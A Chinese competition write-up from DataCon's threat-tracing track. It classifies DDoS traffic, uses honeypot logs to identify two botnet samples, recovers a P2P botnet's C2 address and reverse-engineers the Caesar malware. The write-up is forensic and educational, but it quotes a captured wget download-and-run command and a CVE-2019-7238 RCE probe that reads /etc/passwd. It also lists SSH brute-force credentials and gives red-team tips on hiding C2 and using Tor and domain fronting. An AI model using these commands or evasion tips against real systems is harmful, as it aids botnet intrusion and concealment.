由中国通信学会数据安全委员会指导,奇安信集团、清华大学网络研究院、北京市大数据中心、蚂蚁集团、腾讯安全大数据实验室、Coremail广东盈世、赛尔网络主办的DataCon大数据安全分析竞赛最终排名已揭晓。
清华大学TrickorTech战队、武汉大学N0nE429战队、中国科学院信息工程研究所404NOTFOUND战队、中国科学院信息工程研究所Hematopoiesisbshjdkvhbj战队、社会联合跃哥我真不会啊战队分别获得AI安全赛道、软件安全赛道、邮件安全赛道、互联网威胁溯源赛道、漏洞分析赛道冠军。
本期Hematopoiesisbshjdkvhbj战队为大家分享互联网威胁溯源赛道解题思路。
1.1 题目描述
提供的流量包是某台服务器在被DDoS攻击期间内的部分PCAP流量数据。已知此次攻击,攻击者采用了多种DDoS攻击方法,请找出这些攻击流量,并将攻击类型相同的源IP进行归类,无需给出具体的DDoS攻击类型。
1.2 解题思路
1.2.1 Wireshark分析PCAP包
首先需要了解PCAP流量数据的整体情况,主要包括以下几个方面:
用到的协议类型
数据包随时间的收发情况
会话数量
节点数量
将PCAP包导入wireshark,观察该PCAP包中都包括哪些协议的数据包。使用wireshark统计->协议分级进行分析,结果如下:
图1-1 协议分级
根据结果可以看出,该PCAP流量数据中包含UDP和TCP协议,其中UDP协议中使用了两种协议,即RTCP(经后续排查为误判)和NTP协议。
观察PCAP流量数据包随时间的收发情况。使用Wireshark统计->I/O图表分析:
图1-2 I/O图表
从图中可以看到,数据包主要集中在0-20s时间段内。此外,在大于20s的时间段,会每间隔20s发送固定数量的数据包,这些数据包也十分可疑。
观察该PCAP流量数据中涉及到的会话数量,使用wireshark统计->会话分析:
图1-3 会话分析
发现共502个会话,其中501个会话的目的IP都是83.250.118.40,由此可以推断,受到DDoS攻击的受害者IP为83.250.118.40。
观察该PCAP流量数据中涉及到的节点数量。使用wireshark统计->端点分析:
图1-4 端点分析
发现共涉及到503个IP,考虑到上面的会话共502个,因此我们可以推断除受害主机外的每台主机(502个)与受害主机(1个,83.250.118.40)只进行了一次通信。这样一来,就排除了同一台主机可能对受害主机发动多种DoS攻击类型的情况。考虑到DDoS攻击的特性,这样的推测也很合理。
对以上的分析结果进行总结:
用到的协议类型:TCP、UDP、NTP、RTCP(RTCP协议系wireshark误判,排 查逻辑见1.2.3 UDP Flood攻击)
数据包随时间的收发情况:
1.2.2 NTP反射放大攻击
根据协议分析结果,从细粒度向粗粒度分析,首先搜索与NTP协议相关的DoS攻击。由[1]可知,与NTP协议相关的DoS攻击为:NTP反射放大攻击。
NTP反射放大攻击的原理:标准NTP 服务提供了一个 monlist查询功能,也被称为MON_GETLIST,该功能主要用于监控 NTP 服务器的服务状况,当用户端向NTP服务提交monlist查询时,NTP 服务器会向查询端返回与NTP 服务器进行过时间同步的最后 600 个客户端的 IP,响应包按照每 6 个 IP 进行分割,最多有 100 个响应包。由于NTP服务使用UDP协议,攻击者可以伪造源发地址向NTP服务进行monlist查询,这将导致NTP服务器向被伪造的目标发送大量的UDP数据包,理论上这种恶意导向的攻击流量可以放大到伪造查询流量的100倍。当前,NTPv4版本中已经对NTP反射放大攻击进行了一定程度地防范,例如默认情况下禁用了Monlist命令和更为灵活和严格的控制选项。
识别该类攻击的关键在于数据包中是否满足以下两个特征:
使用wireshark过滤NTP协议相关的数据包,过滤规则:`ntp`,打开其中一个数据包,结果如下:
图1-5 NTP协议数据包样例
发现所有ntp包中都包含MON_GETLIST字段,且是按照每6个IP进行分割的,因此可以判定其中一种类型为NTP反射放大攻击。我们还统计了NTP协议相关的会话数量:
图1-6 NTP Flood相关会话
发现会话数量为100,这100个会话的源IP即为NTP反射放大攻击的源IP。
1.2.3 UDP Flood攻击
将除了NTP协议之外剩下的UDP报文过滤出来,过滤规则:`udp and !ntp`:
图1-7 其他UDP协议数据包
发现所有的UDP数据包的L2 length=1066,udp payload length=1024,因此初步推断这是同一种攻击类型。其中包含两个RTCP协议的数据包,将RTCP协议的数据包过滤出来:
图1-8 疑似RTCP协议数据包
发现RTCP协议数据包只有两个。随机打开一个非RTCP协议的UDP数据包和RTCP协议数据包进行比较:
图1-9 常规UDP数据包与疑似RTCP数据包比较
左侧是非RTCP协议的数据包,右侧为RTCP协议的数据包,发现他们的payload length一致,因此推断可能是随机生成的UDP payload撞上了RTCP的格式,导致wireshark误判为RTCP协议数据包。这样一来,`udp and !ntp`过滤规则过滤出来的数据包应该属于同一种攻击类型。由于这些数据包没有其他特殊特征,因此可以初步推断为UDP Flood攻击。
UDP Flood攻击原理:攻击者向目标主机发送大量UDP数据包,消耗其网络资源。
统计此类攻击类型包含的会话数量:
图1-10 UDP Flood相关会话
如图1-10所示,会话数量共100个。该100个会话的源IP即为UDP Flood攻击的源IP。
1.2.4 SYN Flood攻击
分析完所有的UDP协议数据包,现在开始分析TCP协议数据包,首先先将TCP协议相关数据包过滤出来,过滤规则:`tcp`,结果如下:
图1-11 TCP协议相关会话
发现共302个会话,即总会话数量(502)-UDP会话数量(200)=TCP会话数量(302)。此外对会话按照发送字节数量从小到大排序,发现存在大量只有一个流量包的会话。然而,根据TCP三次握手可知,一台主机如果想与另一台主机建立连接,那么该主机至少要发送两个数据包,即SYN数据包和ACK数据包,这些会话仅包含一个流量包,因此十分可疑。首先将它们过滤出来,随机打开其中的一个数据包:
图1-12 TCP数据包样例
发现它是一个SYN数据包,因此可以推断该类攻击类型为SYN Flood攻击。
SYN Flood攻击原理:利用了TCP协议的三次握手机制,攻击者通常利用工具或者控制僵尸主机向服务器发送海量的变源IP地址或变源端口的TCP SYN报文,服务器响应了这些报文后就会生成大量的半连接,当系统资源被耗尽后,服务器将无法提供正常的服务。
将所有的SYN数据包过滤出来,过滤规则`frame.len == 54 and tcp.flags.syn ==1`
图1-13 SYN Flood相关会话
该类攻击类型的会话数量共200个。这200个会话的源IP即为SYN Flood攻击的源IP。
1.2.5 慢速http header泛洪攻击
由1.2.1中分析出来的信息可知,在大于20s的时间段,会每间隔一段时间发送一些数据包,现在将这些数据包过滤出来,过滤规则:`frame.time_relative >= 20`:
图1-14 大于20s时段相关会话
随机选取其中一个会话,并追踪它的TCP流:
图1-15 慢速http header泛洪攻击TCP流样例
发现这个会话将一个HTTP请求头部分成多个数据包,每间隔20s发送一部分。这样就导致该连接需要长时间保持活跃状态,无法释放。这就造成了慢速http header泛洪攻击。由[2]可知,这是一种类slowloris攻击。
慢速http header泛洪攻击原理:为了防止连接超时,攻击者会定期向目标发送部分请求标头,以使请求保持活动状态。
起初我们认为`frame.time_relative >= 20`过滤规则过滤出来的会话都是慢速http header泛洪攻击,该类攻击会话数量为100。
但是提交答案发现没有全对,所以我们检查了剩余的2个会话(502-100个NTP Flood-100个UDP Flood-200个SYN Flood-100个慢速http header泛洪)。以下是剩余的两个会话:
图1-16 剩余会话
发现这两个会话都是正常的TCP通信。况且这两个会话没有与其类似的其他会话,仅仅只包括1个IP,不符合分布式拒绝服务攻击的情况。
因此我们重新整理了思路,从头分析了上面的DDoS攻击类型,发现慢速泛洪攻击中的tcp流有两种。我们分别打开两种的各随机一个会话进行对比:
图1-17 两种慢速泛洪攻击TCP流对比
发现两者的不同点在于是否包含Content-Length:1000\r\n\r\n字段,我们之前分析的只是图1-19中左侧的情况。因此该类应该可以进一步被分为两类。
1.2.6 慢速http payload泛洪攻击
由[2]可知,图1-19右侧的情况是一种类R.U.D.Y.攻击,是一种慢速http payload泛洪攻击,它与慢速http header泛洪攻击的不同点在于:
慢速http header泛洪攻击:攻击者会定期向目标发送部分请求标头,以使请求保持活动状态。
慢速http payload泛洪攻击:攻击者会发送一个值很大的Content-Lengt字段,用以警告目标主机其将提交非常长的内容,然后,攻击者会将载荷分割成多个少量字节的数据包慢慢发送。这样目标主机就会认为该请求包存在payload没有发完,因此会维持连接。一般而言该类攻击发送都是POST报文,如果是GET,根据协议服务器应该忽略payload,但可能有些服务器实现协议不够严谨,GET也能触发。
这两种攻击本质上相同,只是实现方法上有所区别,它们都属于慢速泛洪攻击。
针对本题而言,攻击者发送了包含Content-Length:1000\r\n\r\n字段的GET报文,然后目标主机会一直等待还没发完的payload,不同于慢速http header泛洪攻击,目标主机会一直等待没发完的header,直到连接超时。
所有不包含Content-Length字段的会话的源IP作为慢速http header泛洪攻击的源IP,共50个。所有包含Content-Length字段的会话的源IP作为慢速http payload泛洪攻击的源IP,也是共50个。
这样一来,我们就找全了所有的DDoS攻击类型,分别是:
2.1 题目描述
已知本次的DDoS攻击由僵尸网络团伙发起,该团伙传播了两种恶意样本文件。在本次攻击中,该团伙利用CVE-2019-7238漏洞组建僵尸网络。请找到这两种恶意样本文件,并给出每种恶意样本文件的MD5以及每种恶意样本文件在蜜罐日志的传播源IP和下载站IP(作答时只需给出IP即可,无需具体指定每个IP是传播源还是下载站)。
2.2 解题思路
2.2.1 蜜罐日志JSON文件初步分析
图2-1 蜜罐日志文件
如图2-1所示,该蜜罐日志文件包括以下几个字段:
event_type:事件类型
honey_type:蜜罐类型
timestamp:时间戳
src_ip、src_port、dst_ip、dst_port:源IP、源端口、目的IP、目的端口
payload:载荷
web_info:web相关信息
brute_force_info:暴力破解相关信息
分析上面各种字段包含的类型可知,蜜罐可分为两类:
web蜜罐:捕获web漏洞利用信息,在日志中的特征:event_type为attack_web,honey_type为mirror,有web_info信息。
ssh蜜罐:捕获ssh爆破信息,在日志中的特征:event_type为attack_brute_force,honey_type为cowrie,有brute_force_info信息。
2.2.2 提取日志中wget命令相关字符串
由题目可知,攻击者传播了两种恶意样本文件。根据僵尸网络的特性:
大量机器需要获取恶意载荷,攻击者无法为每台僵尸机构建专门的恶意载荷投递通道,所以通常都是使用最方便的http文件下载的方式。
wget是所有linux网络设备中自带的下载指令。例如比较常见的僵尸网络mozi的部分攻击payload,其中就使用到了wget命令,具体如下:
图2-2 mozi攻击payload
因此需要重点关注日志中存在的与下载命令相关的字符串,因此首先搜索下载命令wget相关字符串,通过编写python脚本将wget相关的命令字符串全部找到。脚本见附件search_wget.py。结果如下:
图2-3 提取带有wget的日志
其中只有以下三条命令执行后仍能获取到恶意二进制文件:
图2-4 有效命令
刚好是两个二进制文件:caesar和koba,因此有极大可能就是恶意样本文件。
2.2.3 caesar和koba文件分析
计算caesar和koba文件的md5值:
caesar:82f485f6d3dbad747ef307158fc7ea48
koba:e4d87fc7fd025213a86b0db38b147375
在威胁情报平台上分析两个文件:
图2-5 virustotal威胁情报平台 - caesar文件报告
图2-6 微步威胁平台 - caesar文件报告
图2-7 virustotal威胁情报平台 - koba文件报告
由上图可知,caesar大概率是恶意样本之一,koba不太确定,但是根据wget搜索结果来看,koba是恶意样本的可能性很高。
CVE-2019-7238关联分析,搜索CVE-2019-7238相关的POC,具体如下:
图2-8 CVE-2019-7238 RCE触发报文
图2-8中是执行命令`cat /etc/passwd`的http报文,可以发现该报文url中包含`/service/extdirect`路径,为了进一步确定该字段是否为CVE-2019-7238的关键特征,我们从[3]中找到了CVE-2019-7238的复现代码。从代码中可以看到,无论执行怎么样的命令,`/service/extdirect`路径都存在,由此可见,`/service/extdirect`路径是一个重要特征。我们在日志文件中搜索这个字符串,发现了一条日志信息,具体如下:
图2-9 日志中的CVE-2019-7238
发现该条日志中存在`http://101.147.195.126:8888/caesar -O /tmp/caesar && cd /tmp && chmod +x caesar && ./caesar`,由此我们可以完全确认caesar就是其中之一的恶意文件。
此外,我们在之后还对caesar和koba文件进行了逆向,具体可以在附录6.1和6.2找到。通过逆向分析验证了我们的分析是正确的,恶意文件就是caesar和koba。
获取恶意样本传播源和下载源,在日志文件中搜索caesar和koba字符串,下载站IP可以从下载的url里面得到,即wget字符串后面出现的IP,传播源IP可以从出现过caesar和koba关键词的那行的src_ip记录中获得。
举例:
图2-10 日志中的koba下载命令
其中66.65.23.150就是koba的下载站IP;195.220.160.50就是koba的传播源IP。
总结一下,得到:
表2-1 恶意文件传播源和下载站
恶意文件名称 | 传播源 | 下载站 |
caesar | 106.167.202.117 104.54.45.183 101.147.195.126 | 106.167.202.117 104.54.45.183 |
koba | 195.220.160.50 | 66.65.23.150 |
最终答案为:
e4d87fc7fd025213a86b0db38b147375:195.220.160.50,66.65.23.150
82f485f6d3dbad747ef307158fc7ea48:106.167.202.117,104.54.45.183,101.147.195.126
3.1 题目描述
上一道题获取到了两个恶意文件(Caesar与Koba),已知其中一个是发起DDoS攻击的恶意样本,找到该恶意样本的C2服务器IP地址。
3.2 解题思路
3.2.1 确定DDoS恶意样本
通过对Caesar和Koba的恶意样本进行逆向分析(见附录6.1、6.2)。得知Koba只具有简单的流量转发功能,不具有DDoS功能;而Caesar恶意样本拥有UDP泛洪、NTP反射放大攻击、SYN泛洪、ACK泛洪、Stomp、基于HTTP的DDoS共计7种DDoS功能,因此确定发起DDoS攻击的恶意样本是Caesar。
3.2.2 获取C2服务器IP地址方案
根据Caesar的逆向分析结果(见附录6.1)得知,使用Caesar可以构建一个P2P僵尸网络,所以C2服务器的ip地址无法通过逆向恶意样本获得。(P2P僵尸网络的C2服务器的ip或域名不会在二进制文件中,而是通过P2P网络发放)
因此本队的思路是:伪装成一个P2P节点,模拟Caesar的行为,从而获取到C2服务器的ip地址。
为了模拟Caesar的行为,本队将和解题相关的Caesar行为(详细分析见附录6.1)总结如下:
(1)Caesar运行后,首先向169.196.166.199: 16996(写死在二进制文件中的p2p tracker)发送udp报文,包体内容为:“JXNT-PING”,目的是获取一个P2P节点的监听Socket(节点主机ip+程序监听端口)。
(注:我们注意到,Caesar在发送报文时对报文进行了异或编码,而在响应报文时,Caesar并没有异或解码就检查包体内容是否为:“JXNT-PING”。通过测试,该网络的p2p tracker及其他节点只会响应未编码的包体内容)
(2)Caesar接收到对端的响应消息后,先进行异或解码,解码出来的消息格式为JXNT-C2:%sNODE_IP:%sNODE_PORT:%dNEW_TIME:%s,然后将消息中的C2地址保存在全局变量中,然后将botnet node ip,botnet node port和消息产生的时间从消息中解析出来,构成一个节点的监听Socket, 保存在大小为100的缓冲池中。
(3)Caesar随后根据缓冲池中最新的节点Socket(IP和端口),向目标节点发送udp报文“JXNT-PING”。如果目标节点知道C2服务器的ip,就会把实际的C2地址填充在JXNT-C2后面,并从缓冲池中随机挑选另一个节点的监听Socket,从中获取IP、端口和时间,分别填充在NODE_IP、NODE_PORT、NEW_TIME后面;如果目标节点不知道C2服务器的ip,则会默认填充1.2.3.4。如果缓冲池为空,没有保存其他节点的监听Socket,则会默认使用NODE_IP:1.2.3.4NODE_PORT:0NEW_TIME20230230填充消息。
(4)Caesar向目标节点发送完“JXNT-PING”之后,会重复(2)(3)直到无法获取有效的下一个目标节点的IP和端口。
3.2.3 在模拟的大网环境中获取 C2服务器IP地址
我们使用python模拟Caesar的发包行为:
图3-1 模拟Caesar的发包行为
首先向169.196.166.199(p2p tracker)发送udp报文,收到的响应如下:
D-?)3L&U]XIUIVIS)*#$:07]XWSITSISTIX_V)*#$:7*53]XVUSX)$2:30,$]UWUVWUVX
去掉第一个字节,因为第一个字节代表数据长度,然后对每个字节x进行(x - 1) ^ 0x66解码后得到:
JXNT-C2:1.2.3.4NODE_IP:104.54.45.183NODE_PORT:13241NEW_TIME:20230231
显然,p2p tracker不会记录C2的ip。tracker告诉我们,有一个P2P节点的监听Socket为104.54.45.18:13241。所以继续在大网环境中向104.54.45.183:13241发送“JXNT-PING”,收到如下响应:
F-?)3L&U]XIUIVIS)*#$:07]XWQIXQRIUWUIXXR)*#$:7*53]VVVVV)$2:30,$]UWUVWUVX
去掉第一个字节,然后解码得到如下结果
JXNT-C2:1.2.3.4NODE_IP:106.167.202.117NODE_PORT:33333NEW_TIME:20230231
看来该节点也尚未获取到C2的ip,所以重复上述操作,向106.167.202.117:33333发送udp报文:“JXNT-PING”,收到如下响应:
D-?)3L&U]XW`IXXIXUIUS`)*#$:07]WIWIWIW)*#$:7*53]VVVVV)$2:30,$]UWUVW`WX
去掉第一个字节,然后解码得到如下结果
JXNT-C2:109.11.12.249NODE_IP:0.0.0.0NODE_PORT:33333NEW_TIME:20230901
此时,C2不再是默认的1.2.3.4,得到C2的IP是109.11.12.249。
4.1 题目描述
该公司表示被攻击的服务器在被DDoS的同时有重要文件被窃取,并提供了窃密样本koko。
1.找到窃密流量最终流向的服务器IP,并根据目前掌握的线索给出此次攻击事件中 (DDoS+窃密)明确被控的主机IP;
2.请给出原始被窃取文件的MD5。
4.2 解题思路
4.2.1 确定窃密流量所在
由于koko有着upx壳、ollvm混淆、反调试等诸多逆向阻力(具体逆向过程见附录6.3),而本队没有逆向手,大家现学现做速度较慢。所以我们在逆向的同时,对现有的信息进行分析,发现了有趣的信息。
通过对koba的逆向分析(见附录6.2),可知koba是流量转发软件,在9999端口上监听。而题目一的流量中,唯一的出向流量也是去往9999端口,且该流中出现了多处相同16字节字符串反复出现的现象,如图4-1。
图 4-1 出向流量中的有趣现象
我们知道:
所以,可以很自然地想到,攻击者可能是将文件加密后传递出去,被捕获到了流量。(当然之后从逆向结果中也应证了这一猜想)
4.2.2 确定被控的主机IP
同样是由于本队逆向较慢,所以优先分析了被控主机的ip。
首先是从流量中获取到的ip:
其次是从日志中获取到的ip:
最后是逆向过程中挖出的ip(排除C2 ip和窃密流量最终流向的Server ip):
169.196.166.199,195.220.160.50都是写死在二进制程序的ip,大概率是攻击者自己拥有的ip。
综上所述,共计104台被控主机,包括93.33.5.89、83.250.118.40、106.167.202.117、 104.54.45.183和其余100个http慢速攻击的源ip。在5.1章节中,我们可视化地呈现了整个攻击场景,可以更直观的看出被控主机。
4.2.3 获取被窃取文件的md5
通过逆向koko(见附录6.3)和4.2.1的猜想可知,文件被使用AES-ECB模式加密发送到93.33.5.89:9999,使用密钥“He!Datacon2023!!”对称加密。而在第一题提供的流量中,正好捕获到了这个tcp流。
简单解密可以看到解密结果,如图4-2:
图4-2 tcp流解密后内容
可见,第一行为文件名,第二行为文件长度,剩下为文件数据。所以使用脚本(见附件decode.py)解密,去除前两行共计48字节,得到文件,正好11008字节。文件如下图所示:
图4-3 被窃取的文件
计算文件md5,得到1261cd9ed36966490ffaf18f80c41556
4.2.4 找出窃密流量最终流向的服务器IP
已知93.33.5.89上运行了koba转发程序。然后通过逆向koba可知(见附录6.2),koba从195.220.160.50获取server ip,并保存在本地的/opt/cnc.info中。
所以方法有二:从195.220.160.50获取,或查看93.33.5.89:/opt/cnc.info。
在大网环境内检查得知,如图4-4,195.220.160.50:8080端口已关,但扫描93.33.5.89发现该主机开放了22端口。就是说,攻击者可能是通过爆破出ssh口令获得的93.33.5.89僵尸机的控制权。我们可以考虑用攻击者的方式登陆该主机,查看/opt/cnc.info。
图4-4 大网环境内扫描
在日志中检查koba相关的日志发现,攻击者先通过爆破ssh口令,成功后将rsa公钥写入被控主机,便于之后持有私钥的攻击者登陆被控机。
图4-5 koba相关攻击日志
显然我们无法获得攻击者的私钥,只能选择爆破ssh了,好在确实能知道攻击者爆破使用的用户名与密码:
(1)上文日志中,攻击日志的源ip 104.54.45.183运行了caesar(详见3.2.3),逆向得知caesar确实有ssh爆破模块(见附录6.1),里面有记录使用的用户名与密码。
(2)在蜜罐中捕获到104.54.45.183在ssh爆破时使用的用户名与密码对:
"username": "root", "password": "tsgoingon"
"username": "admin", "password": "admin123",
在大网环境中测试,使用"username": "root", "password": "tsgoingon"成功登陆93.33.5.89,查看/opt/cnc.info,base64解码后得到server ip:133.4.113.146。
5.1 我们眼中的攻击全景
图5-1 攻击全景、信息收集与溯源取证路线
(1)攻击者首先使用caesar,在互联网上广泛扫描,使用ssh弱口令爆破、web漏洞利用等方法,获取众多低防御等级的主机,用作构建P2P僵尸网络和跳板机。
(2)攻击者将koko植入目标机中(目前掌握的信息无法得知该步骤如何实现的,需要进一步排查)。
(3)组建足够规模的僵尸网络后,对目标机发起DDoS攻击,干扰公司运维人员;同时激活koko,将重要数据发送至跳板机,在跳板机上运行koba,再将数据转发到攻击者控制的服务器上。
如图5-1,可视化地再现了攻击全景。同时也标出了我们信息收集(第一、二题)和溯源取证(第三、四题)的路径。
5.2 针对此次攻击的讨论
红队视角:
(1)加密可以尝试密钥协商,一次一密,或者采用非对称密码算法,而非简单的硬编码密钥,各被控节点的p2p通信也并未采用加密策略,机密性薄弱。
(2)避免硬编码C2,Domain在程序中的出现,可以尝试使用公共服务平台(pastebin,Github,cloud ide,Blockchain)等进行相关信息的下发。
(3)关于匿名性,考虑加入Tor网络,结合CDN域前置的MEEK网桥实现。
蓝队视角:
(1)GPT辅助提升逆向工程、流量分析、脚本编写等安全分析能力,小白狂喜。
(2)多上点安全防护设备,从端点防护到应急溯源全链路覆盖,例如天擎终端安全系统、椒图云主机安全平台、天眼全流量分析平台、鹰图(Hunter)威胁关联平台等。
(3)在生产环境中部署蜜罐能够在攻击发生时对蓝队提供丰富的溯源信息。
(4)此次攻击中可以看出攻击者在公司内网环境里几乎没有阻碍,也因此造成了整个公司内网的沦陷,可见纵深防御的必要性。
(5)IoT botnet ddos攻击的防御策略——CDN或专用抗DDoS设备。
(6)如果内网系统上的每个节点都做好流量监控和日志记录,攻击全景的还原过程会十分快速且顺利
5.3 总结和体会
随着互联网产业的迅猛发展,企业和组织正在逐步转型,越来越多的办公和生产环境升级为了大型内网环境,这种变化虽然带来了诸多便利和效率的提升,但同时也引入了严重的安全隐患。随着内网环境的扩大和复杂化,潜在的安全风险也随之增加,包括数据泄露、网络攻击和病毒感染等问题。此次比赛模拟了一次严重的公司内网安全事故,作为溯源取证的一方,我们为了还原攻击过程,不仅对攻击样本进行提取和逆向分析,还结合日志记录和实际经验,借助多个层面的信息推导出了完整的攻击全景图。
在整个溯源过程中,我们通过逆向攻击样本还原了样本逻辑,并根据逻辑模拟了攻击样本行为来和大网环境中的其他样本进行交互,从而获取关键信息。然而,从攻击者的角度来看,本次攻击所使用的攻击样本在隐蔽性方面仍有很多可优化的地方,例如样本中硬编码了大量诸如加密密钥等关键性信息,例如并未对P2P僵尸网络流量之间的通信进行加密,而在攻击样本具备更高的隐蔽性和更强的对抗性后,如何发现并还原攻击全流程,对防守方和溯源取证人员来说都是一个更难的挑战。从防御者的角度来看,如果做好了每个节点的安全防护和日志记录,并辅以蜜罐对攻击者加以诱捕,那么即便攻击者成功入侵,丰富的日志记录也能够大大减轻取证人员还原攻击全景的压力。
6.1 Caesar逆向分析
Caesar是受C2服务器控制用于发起DDoS攻击的恶意样本,它会运行在每一个受控的僵尸节点上,一方面不断收发JXNT-PING消息和其他运行Caesar的僵尸节点同步信息,包括节点IP、端口和C2服务器的IP;另一方面会和C2建立TCP连接然后使用select轮询等待接收来自C2的攻击信号,一旦收到攻击信号 就开始发动DDoS攻击。同时Caesar也会监听本地48101端口,一旦有新的TCP连接建立,就会扫描并传播Caesar,扫描的方式有两种:SSH爆破、CVE-2019-7238漏洞利用。程序架构图如下所示:
图6-1 caesar程序架构图
Caesar的功能大体可以分为5个模块:进程保护模块、僵尸节点通信模块、C2服务器通信模块、DDoS攻击模块、扫描传播模块。下面我们将围绕这几个模块展开:
6.1.1 进程保护模块
在Caesar在运行初期会调用unlink来删除自身,避免在受害主机上留下恶意样本。
图6-2 caesar删除自身
禁用watchdog避免系统重启,因为Caesar只会驻留在系统内存中,重启过后Caesar就无法继续运行了。
图6-3 caesar禁用watchdog
疑似anti-debug。Caesar执行初期会调用signal为SIGTRAP信号注册处理函数。
图6-4 caesar注册处理函数
按照反调试的逻辑,Caesar后续应该会向自己发送SIGTRAP信号,如果没有附加调试器,程序就会执行注册的信号处理函数;如果附加调试器,该信号会被调试器捕获,当成int3断点异常处理,在程序恢复执行之前会将SIGTRAP清空,导致程序无法执行事先注册好的信号处理函数。
但是Caesar并没有向自己发送SIGTRAP信号,而是在后面直接调用了信号处理函数,因此这种基于SIGTRAP信号的反调试并不会发挥作用。
图6-5 caesar调用信号处理函数
容器检测,通过读取DOCKER_IN_CONTAINER环境变量判断Caesar是否运行在容器中。隐藏进程名,通过prctl将进程名修改为随机字符串
图6-6 caesar修改进程名
6.1.2 僵尸节点P2P通信模块
Caesar使用udp和其他僵尸节点进行通信:
首先Casear会初始化两个通信线程:第一个线程负责向其他僵尸节点发送JXNT-PING消息,然后等待接收对端的回复,并同步在本地。具体来说Caesar会将消息中的C2地址保存在全局变量中,将botnet node ip,botnet node port 和消息产生的时间分别保存在大小为100的缓冲池中。当然,消息并不是明文传输的,Caesar会对消息编码,编码的方式是对每一个字节异或0x66然后加1。编码的过程如下图所示:
图6-7 caesar编码消息
该线程的具体流程如下:
一开始,缓冲池中没有其他僵尸网络节点的相关信息,Caesar会向169.196.166.199的16996端口发送udp报文:JXNT-PING。并等待响应。
收到响应后,如果数据长度超过9,则进行两个检查,先检查数据的第一个字节是否为数据的长度;然后对数据解码(先减1再异或0x66)并检查其中是否包含NODE_IP。
如果2个检查都通过,则进一步将响应数据解析为C2 IP、僵尸节点IP、僵尸节点PORT、消息产生的时间,并将其保存在全局变量中,方便后续填充在缓冲池中。
将获取的僵尸节点IP、僵尸节点PORT、消息产生的时间保存在长度为100的缓冲池中
图6-8 caesar保存僵尸节点信息
进一步根据缓冲池中最新获取到的僵尸节点信息(IP和端口),向对方发送udp消息JXNT-PING,从其他僵尸网络节点的缓冲池中获取信息,这一步的目的就是同步其他僵尸网络节点缓冲池中的信息,最后使得整个僵尸网络中的节点信息能够保持一致。简单来说就是对于其中一个僵尸节点,能够感知到其他所有僵尸网络节点的存在(最多感知100个僵尸网络节点)。
第二个线程负责监听一个随机的udp端口,等待接收来自其他僵尸节点的JXNT-PING。一旦收到ping消息,就会随机在缓冲池中选择一个僵尸节点,将其相关信息发送给对端。
图6-9 caesar发送僵尸节点相关信息给对端
图6-10 caesar填充默认配置信息
在发送消息的时候,如果当前僵尸节点并没有获取到C2的地址,就默认使用1.2.3.4;如果缓冲池中没有其他僵尸节点的信息,就默认NODE_IP = 1.2.3.4,NODE_PORT = 0,NEW_TIME = 20230230
6.1.3 C2服务器通信模块
Caesar会解析从其他僵尸节点获得的消息,将提取出来的C2地址存放到全局变量cc_ip中,在与C2建立TCP连接前,首先检查cc_ip的值是否为空,如果不为空,说明已经从其他节点获取到C2的地址。然后Caesa会和C2的12345端口建立TCP连接,并将socket放入select中轮询是否有新的读写事件。
Caesar和C2的具体通信过程如下:
select阻塞的超时时间为10秒,每阻塞6次,也就是1分钟没收到C2的消息,Caesar就会向C2发送心跳包,其实就是发2字节的\x00过去。
收到来自C2的消息,如果是第一次收到,则向C2 发送4字节的数据,表示自己已经上线,等待接收进一步的命令。
图6-11 caesar发送数据
如果不是第一次收到,会按照如下消息格式从接收缓冲区读取数据。
图6-12 caesar从接收缓冲区读取数据
如果length 不等于0,则开始根据data的内容进行DDoS攻击。具体C2发送的data格式如下图所示:
图6-13 C2发送的data格式
其中ddos_dur代表ddos的攻击时间,在发起攻击前,Caesar会fork一个子进程,子进程先sleep(ddos_dur),被唤醒后根据父进程的pid将父进程杀死。
图6-13 父进程被杀死
ddos_idx代表要发起的DDoS攻击的下标,Caesar从0-6共注册了7种不同类型的DDoS攻击。
num_attack_targets代表攻击目标的数量,后面紧跟一串IP和Netmask,代表不同攻击目标IP和子网掩码。
num_attack_opts代表攻击参数的数量,后面紧跟一个攻击参数列表,DDoS攻击函数会根据攻击参数设置待发送IP包中的各种字段,比如IP头的TTL字段、源目的端口、TCP头的ACK、PSH、SYN字段、应用层是否填充随机数据等。攻击参数列表中每一个元素都是KV键值对,key代表不同参数类型,value是参数的具体值,在value的开头会存放value的长度,方便接受端读取。
6.1.4 DDoS攻击模块
Caesar支持7种不同类型的DDoS攻击:
图6-14 7种不同类型的DDoS
起初,我们只能根据创建socket时的协议类型大致区分出3种不同的DDoS攻击:基于UDP、TCP、HTTP的DDoS攻击。在逆向ackstomp类型的ddos攻击函数时,我们发现这种攻击比较特殊,在攻击前通过connect先和目的主机建立了TCP连接,并且函数中出现了如下字符串:
图6-15 连接过程中出现了的字符串
通过搜索“ACK Stomp DDoS”,我们发现了一种IoT僵尸网络病毒Mirai[4] 在使用这种DDoS攻击方式,配合Mirai的实现,我们将Caeser中用到的DDos攻击类型进一步区分开来。通过对比Mirai,我们发现Caesar还实现了一种Mirai不支持的DDoS攻击:NTP反射放大攻击。在ntp_ddos函数中,我们可以找到攻击的默认目的端口:
图6-16 攻击的默认目的端口
123正好是NTP协议的默认端口,Caesar会根据C2服务器发来的指令伪造源IP,通过设置IP_HDRINCL就可以修改IP层数据包头。
图6-17 修改IP层数据包头
Caesar将源IP设置为想要攻打的目标,然后向NTP服务器发送monlist查询,NTP就会将响应报文发送到目标IP。NTP 服务器会向查询端返回与NTP 服务器进行过时间同步的最后 600 个客户端的 IP,响应包按照每 6 个 IP 进行分割,最多有 100 个响应包。因此响应的流量是相当大的。
6.1.5 扫描传播模块
除了与C2建立TCP通信,Caesar还会监听本地48101的TCP端口,一旦监听到有新连接,Caesar会生成一个随机数,根据随机数的奇偶决定扫面传播的方式:SSH暴力破解或者利用CVE-2019-7238。
图6-18 根据随机数的奇偶决定扫面传播的方式
SSH爆破 如果随机数是偶数,Caesar会生成随机IP并进行SSH爆破,一旦爆破成功,会在受害机器上进行如下操作:
检查受害机器的性能是否满足要求:可用CPU数量>2且内存可用空间 > 500M,如果性能满足条件,就向195.220.160.50: 8888上报受害主机IP
图6-19 检查受害机器的性能是否满足要求
如果性能不符合要求,就从 myip.ipip.net获取Caesar下载站的IP,通过wget将Caesar下载到本地并执行
图6-20 将Caesar下载到本地并执行
SSH爆破用到的用户名和密码,以及解码算法如下:
图6-21 SSH爆破用到的用户名和密码以及解码算法
SSH爆破生成IP的算法如下:
图6-22 SSH爆破生成IP的算法
CVE漏扫 Caesar扫描最多256个随机IP的37215端口,如果端口开放,就向37215端口建立TCP连接并发送CVE-2019-7238的POC。这里随机生成IP的方式和SSH爆破时生成IP的方式一样。具体流程如下:
